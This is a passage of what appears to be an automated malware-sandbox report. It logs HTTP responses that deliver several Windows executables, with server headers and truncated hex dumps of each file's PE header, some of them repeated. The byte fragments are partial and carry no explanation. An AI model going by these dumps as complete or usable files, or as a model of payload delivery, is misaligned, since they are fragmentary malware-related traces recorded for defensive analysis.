99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:42:47 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Sun, 28 May 2023 08:40:04 GMTETag: "c3e00-5fcbceaa1bec3"Accept-Ranges: bytesContent-Length: 802304Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d0 34 fa 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 4e 0a 00 00 28 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 60 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 30 00 00 04 00 00 01 83 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 51 0a 00 64 00 00 00 00 c0 2e 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 30 00 e4 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a 4c 0a 00 00 10 00 00 00 4e 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 60 0a 00 00 1e 00 00 00 52 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 c0 2e 00 00 94 01 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 38 00 00 00 60 30 00 00 3a 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:42:51 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:42:55 GMTContent-Type: application/octet-streamContent-Length: 5129728Last-Modified: Fri, 26 May 2023 16:27:32 GMTConnection: keep-aliveETag: "6470ddf4-4e4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f4 dd 70 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 4e 00 00 08 00 00 00 00 00 00 9e 5a 4e 00 00 20 00 00 00 60 4e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 4e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 5a 4e 00 4b 00 00 00 00 60 4e 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 3a 4e 00 00 20 00 00 00 3c 4e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 04 00 00 00 60 4e 00 00 06 00 00 00 3e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 4e 00 00 02 00 00 00 44 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5a 4e 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 44 4e 00 5c 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 1a 1d 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:42:59 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Sun, 28 May 2023 08:40:04 GMTETag: "c3e00-5fcbceaa1bec3"Accept-Ranges: bytesContent-Length: 802304Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d0 34 fa 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 4e 0a 00 00 28 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 60 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 30 00 00 04 00 00 01 83 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 51 0a 00 64 00 00 00 00 c0 2e 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 30 00 e4 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a 4c 0a 00 00 10 00 00 00 4e 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 60 0a 00 00 1e 00 00 00 52 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 c0 2e 00 00 94 01 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 38 00 00 00 60 30 00 00 3a 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:43:00 GMTContent-Type: application/octet-streamContent-Length: 1074176Last-Modified: Tue, 07 Feb 2023 13:40:35 GMTConnection: keep-aliveETag: "63e254d3-106400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 91 86 1d 1c d5 e7 73 4f d5 e7 73 4f d5 e7 73 4f 8e 8f 77 4e c7 e7 73 4f 8e 8f 70 4e de e7 73 4f 8e 8f 76 4e 65 e7 73 4f 00 8a 76 4e 90 e7 73 4f 00 8a 77 4e da e7 73 4f 00 8a 70 4e dc e7 73 4f 8e 8f 72 4e d8 e7 73 4f d5 e7 72 4f 69 e7 73 4f 4e 89 7a 4e d1 e7 73 4f 4e 89 73 4e d4 e7 73 4f 4e 89 8c 4f d4 e7 73 4f 4e 89 71 4e d4 e7 73 4f 52 69 63 68 d5 e7 73 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 d3 54 e2 63 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 e8 0c 00 00 b2 03 00 00 00 00 00 48 eb 0a 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 10 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 60 7b 0f 00 58 00 00 00 b8 7b 0f 00 8c 00 00 00 00 b0 10 00 f8 00 00 00 00 00 10 00 e0 97 00 00 00 00 00 00 00 00 00 00 00 c0 10 00 68 14 00 00 00 aa 0e 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 aa 0e 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 e6 0c 00 00 10 00 00 00 e8 0c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 8f 02 00 00 00 0d 00 00 90 02 00 00 ec 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ac 6f 00 00 00 90 0f 00 00 36 00 00 00 7c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e0 97 00 00 00 00 10 00 00 98 00 00 00 b2 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 a0 10 00 00 02 00 00 00 4a 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 b0 10 00 00 02 00 00 00 4c 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 14 00 00 00 c0 10 00 00 16 00 00 00 4e 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:01 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:43:04 GMTContent-Type: application/octet-streamContent-Length: 5129728Last-Modified: Fri, 26 May 2023 16:27:32 GMTConnection: keep-aliveETag: "6470ddf4-4e4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f4 dd 70 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 4e 00 00 08 00 00 00 00 00 00 9e 5a 4e 00 00 20 00 00 00 60 4e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 4e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 5a 4e 00 4b 00 00 00 00 60 4e 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4e 00 0c 00 00 00 00 00 00 00 00 00 00 00 